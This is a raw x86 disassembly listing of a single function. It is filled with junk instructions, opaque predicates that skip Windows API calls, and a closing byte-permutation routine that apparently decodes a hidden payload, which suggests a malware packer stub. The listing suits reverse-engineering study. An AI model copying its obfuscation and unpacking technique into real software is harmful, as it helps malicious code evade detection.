mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x1ac], ecx
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x44bf5a
push edx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor edx, edx
dec dword [ebp - 0xc]
push 1
pop ecx
cmp dword [ebp - 0xc], 0xffffffec
je 0x44bdcd
test esi, esi
mov esi, dword [ebp - 0x18]
jne 0x44bf74
add esi, 8
xor ecx, ecx
mov dword [ebp - 0x20], 0xfffffff6
inc ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 4], edx
jmp 0x44bf97
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xbc], 0x3fcb50bf
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x44bf86
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x44bfb5
push edx
push edx
push 0x1e64
push edx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor edx, edx
mov eax, dword [ebp - 0x20]
add esi, edi
inc ebx
mov dword [ebp - 0xbc], eax
push 9
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], ebx
pop edi
cmp ebx, dword [ebp - 0x1c]
jl 0x44bb75
mov dword [ebp - 8], 0xee1c
mov dword [ebp - 0x18], 0xf5b1b6fd
mov dword [ebp - 0xc], 0xcccaea0a
mov dword [ebp - 4], 0xb6d6
mov dword [ebp - 0x10], 0xd7276cc
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor ebx, ebx
inc ebx
cmp ecx, ebx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x664dc9ed
setge cl
xor edx, edx
mov dword [ebp - 4], ecx
mov ecx, 0x8d8c8517
mov eax, dword [ebp - 0xc]
sub ecx, eax
add ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 8]
jge 0x44c058
mov ecx, edx
cmp dword [ebp - 8], edx
je 0x44c05a
mov ecx, ebx
mov eax, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0xfffffff9
jmp 0x44c111
mov dword [ebp - 0xc], 0xfffffff4
jmp 0x44c0d1
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x10], edx
jmp 0x44c0c8
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], edx
jmp 0x44c09b
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x64], 4
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x44c08d
mov dword [ebp - 4], edx
jmp 0x44c0b0
cmp dword [ebp - 0x10], edx
jne 0x44c0b5
inc dword [ebp - 0x64]
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
je 0x44c0a5
mov dword [ebp - 8], edx
jmp 0x44c0c0
dec dword [ebp - 0x1c]
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jle 0x44c0ba
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x10
jg 0x44c085
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff8
je 0x44c07d
mov dword [ebp - 0x10], edx
jmp 0x44c108
cmp dword [ebp - 0x10], edx
jne 0x44c10e
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x44c105
push 0x23c5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
xor edx, edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x16
jle 0x44c0dc
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe7
je 0x44c074
mov edi, dword [esi]
mov dword [ebp - 8], 0x82eac453
mov dword [ebp - 4], 0xcddd1d8f
mov dword [ebp - 4], 0x8f62c4df
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x1c], 5
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
mov dword [ebp - 0x20], edi
je 0x44c174
push edx
push 0x1680
push 0x1208
push 0x357
push edx
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor edx, edx
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], ebx
jae 0x44c183
mov eax, ebx
cmp dword [ebp - 8], edx
jne 0x44c185
mov eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 8], ebx
jge 0x44c19c
cmp dword [ebp - 4], edx
je 0x44c19c
mov ecx, ebx
cmp dword [ebp - 8], edx
jne 0x44c19e
mov ecx, edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
cmp ecx, eax
mov eax, dword [ebp - 8]
sete dl
xor ecx, ecx
cmp edx, eax
push 0
setle cl
add ecx, 8
imul eax, ecx, 0x477
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp edx, eax
mov eax, dword [ebp - 8]
setne cl
xor edx, edx
imul ecx, ecx, 0x65ab
sub ecx, 0xffff
cmp ecx, eax
mov eax, dword [ebp - 8]
setge dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
sub ecx, 0x5854a409
sets al
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x53ea3a72
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
sub ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, ecx
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 8]
setl bl
xor edx, edx
cmp ecx, eax
setl dl
add ebx, edx
sub ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ebx
xor ebx, ebx
mov dword [ebp - 0xc], 0xa9576c3a
inc ebx
mov dword [ebp - 0x1c], ebx
xor ecx, ecx
mov dword [ebp - 0x18], 0x7263b0a6
mov dword [ebp - 4], 0x87292079
mov dword [ebp - 0x24], 0x6a5b5cf0
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
jmp 0x44c26d
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x54], 0x90ac204e
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x44c25f
mov dword [ebp - 0x54], ecx
cmp dword [ebp - 0x54], 0xfffffffa
jne 0x44c2df
xor edi, edi
mov dword [ebp - 4], 0x7ca0029b
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x10], 0x4a520274
mov dword [ebp - 4], edi
jmp 0x44c2a5
mov dword [ebp - 0x1c], 0x6baf
inc dword [ebp - 0x1c]
inc dword [ebp - 4]
cmp dword [ebp - 4], 9
jle 0x44c298
cmp dword [ebp - 4], edi
je 0x44c2c4
mov dword [ebp - 0x1c], 0x15cc138
mov edx, ebx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edi
jne 0x44c2c6
mov edx, edi
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xfffffffa
je 0x44c27e
mov edi, dword [ebp - 0x20]
mov dword [ebp - 0x54], ebx
xor edx, edx
mov dword [ebp - 4], 0xfffffffc
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ebx, dword [esi + 4]
setg dl
add esi, 8
mov dword [ebp - 0xc], edx
xor edx, edx
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x24], 0xc9d7
mov dword [ebp - 0x24], 0xf51ae9a0
push 3
mov dword [ebp - 0x1c], 0x20b50f6b
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], edx
pop ecx
jmp 0x44c354
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x100], 0xb9b55bb2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44c343
mov dword [ebp - 0x10], edx
jmp 0x44c36c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x70], 0xe2236432
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44c35e
mov dword [ebp - 0x10], edx
jmp 0x44c387
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1e8], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x44c376
mov dword [ebp - 0x68], edx
cmp dword [ebp - 0x68], 2
jg 0x44c4a6
xor edi, edi
inc edi
mov dword [ebp - 4], 0x5010f7a7
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x1c], 0x2c5d177c
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 2
jg 0x44c493
mov dword [ebp - 0x1c], 0x9b2b534
mov dword [ebp - 8], 6
mov dword [ebp - 0x1c], 0xdb370cc3
mov dword [ebp - 0x1c], 0x2fb29d94
mov dword [ebp - 0xc], edx
jmp 0x44c3f4
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x15c], 0xfffffffd
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x44c3e3
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0xc], 0x3d0e
je 0x44c422
mov ecx, edi
cmp dword [ebp - 4], edx
jne 0x44c424
mov ecx, edx
inc dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 8]
setg dl
xor ecx, ecx
cmp eax, edx
push 0
setl cl
xor eax, eax
cmp ecx, 0xfe9a5a16
setne al
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x15c], edx
mov eax, dword [ebp - 0x68]
mov esi, dword [ebp + eax*4 - 0x100]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x68]
setne cl
xor edx, edx
cmp esi, ecx
mov eax, dword [ebp + eax*4 - 0x100]
setl dl
imul eax, edx
pop edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jle 0x44c3c2
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], 2
jle 0x44c39d
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x18]
test ebx, ebx
jne 0x44c57c
cmp byte [ebp - 0x29], bl
je 0x44c4c4
xor eax, eax
inc eax
cmp dword [ebp - 0x28], eax
jne 0x44c4c4
mov ecx, dword [ebp + 8]
lea eax, [edi + 0x10]
add dword [ecx + 8], eax
mov eax, dword [esi]
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 4]
add esi, 8
push edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], esi
call fcn.00489365
mov ebx, eax
xor eax, eax
pop ecx
mov dword [ebp - 0xb8], eax
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0xb8]
push eax
push edi
mov dword [ebp - 0x1c], ebx
call fcn.00470547
mov esi, dword [ebp - 0x7c]
xor edx, edx
mov ecx, edx
test edi, edi
jle 0x44c55e
mov eax, ecx
and eax, 0x80000001
jns 0x44c51b
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x24]
add eax, ecx
add eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x20]
cdq
idiv edi
xor eax, eax
cmp word [esi + edx*2], ax
je 0x44c547
xor ebx, ebx
lea eax, [edx + 1]
cdq
idiv edi
cmp word [esi + edx*2], bx
jne 0x44c538
mov ebx, dword [ebp - 0x1c]
xor eax, eax
inc eax
mov word [esi + edx*2], ax
mov eax, dword [ebp - 0x18]
mov al, byte [edx + eax]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jl 0x44c50d
xor edx, edx
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [eax + 4], ebx
test esi, esi
je 0x44c581
push esi
call fcn.0048a916
xor edx, edx
pop ecx
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], edx
mov ebx, dword [ebp + 8]
jmp 0x44c583
mov ebx, eax
mov dword [ebp + 8], edx
pop edi
jmp 0x44c59a
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0xd8], 2
inc dword [ebp + 8]
cmp dword [ebp + 8], 4
jl 0x44c589
mov dword [ebp - 0xd0], edx
cmp dword [ebp - 0xd0], 0xb
jge 0x44c5f9
xor ecx, ecx
push 2
inc ecx
pop esi
mov dword [ebp + 8], edx
mov dword [ebp + 8], edx
jmp 0x44c5ce
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x140], 0xffffffff
inc dword [ebp + 8]
cmp dword [ebp + 8], esi
jl 0x44c5bd
mov dword [ebp + 8], edx
jmp 0x44c5e5
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x140], ecx
inc dword [ebp + 8]
cmp dword [ebp + 8], esi
jl 0x44c5d8
inc dword [ebp - 0xd0]
cmp dword [ebp - 0xd0], 0xb
jl 0x44c5b5
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret